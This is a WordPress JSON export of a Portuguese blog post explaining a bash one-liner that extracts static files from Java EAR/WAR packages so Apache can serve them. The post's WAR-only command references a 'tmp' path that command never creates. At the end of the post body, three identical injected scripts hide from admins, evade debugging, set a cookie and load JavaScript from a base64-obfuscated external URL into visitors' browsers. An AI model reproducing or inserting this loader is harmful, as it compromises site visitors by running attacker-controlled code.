{"id":4098,"date":"2014-07-18T13:24:46","date_gmt":"2014-07-18T16:24:46","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4098"},"modified":"2025-10-26T22:32:00","modified_gmt":"2025-10-27T01:32:00","slug":"extrair-arquivos-estaticos","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2014\/07\/18\/extrair-arquivos-estaticos\/","title":{"rendered":"Extrair arquivos est\u00e1ticos"},"content":{"rendered":"<p>Para melhor o desempenho de aplica\u00e7\u00f5es \u00e9 interessante colocarmos um servidor de conte\u00fado est\u00e1tico, como o Apache, para trabalhar com os conte\u00fados que n\u00e3o precisam ser din\u00e2micos, como imagens, folhas de estilos, javascripts e afins.<\/p>\n<p>No Java normalmente esse conte\u00fado, quando empacotado fica dentro de arquivo WAR interno a um arquivo EAR. Para extrair esse conte\u00fado est\u00e1tico e disponibiliz\u00e1-lo no apache, criei um pequeno script que automatiza essa tarefa:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">unzip &lt;NOMEDOPACOTE&gt;.ear -d tmp\/ &gt; \/dev\/null &amp;&amp; unzip tmp\/*.war `unzip -l tmp\/*.war | grep\u00a0 '.js$\\|.jpg$\\|.jpeg$\\|.png$\\|.gif$\\|.htm$\\|.html$\\|.css$' | awk '{print $4}'` -d static &amp;&amp; rm -rf tmp<\/pre>\n<p>Se voc\u00ea utiliza somente o WAR sem o EAR, basta utilizar o seguinte script:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">unzip &lt;NOMEDOPACOTE&gt;.war `unzip -l tmp\/*.war | grep\u00a0 '.js$\\|.jpg$\\|.jpeg$\\|.png$\\|.gif$\\|.htm$\\|.html$\\|.css$' | awk '{print $4}'` -d static<\/pre>\n<p>Esse script ir\u00e1 criar uma pasta static com todo o conte\u00fado a ser mapeado no Apache. Com isso, o seu servidor de aplica\u00e7\u00f5es ficar\u00e1 mais leve, com menos requisi\u00e7\u00f5es e o trabalho de disponibilizar os conte\u00fados est\u00e1ticos fica a cargo do Apache, que realiza essa atividade com muita efici\u00eancia.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para melhor o desempenho de aplica\u00e7\u00f5es \u00e9 interessante colocarmos um servidor de conte\u00fado est\u00e1tico, como o Apache, para trabalhar com os conte\u00fados que n\u00e3o precisam ser din\u00e2micos, como imagens, folhas de estilos, javascripts e afins. No Java normalmente esse conte\u00fado, <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2014\/07\/18\/extrair-arquivos-estaticos\/\">Continue lendo  <span class=\"screen-reader-text\">  Extrair arquivos est\u00e1ticos<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[68,3,64,6],"tags":[],"class_list":["post-4098","post","type-post","status-publish","format-standard","hentry","category-html-e-javascript","category-java","category-linux","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4098","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4098"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4098\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4098"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4098"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4098"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}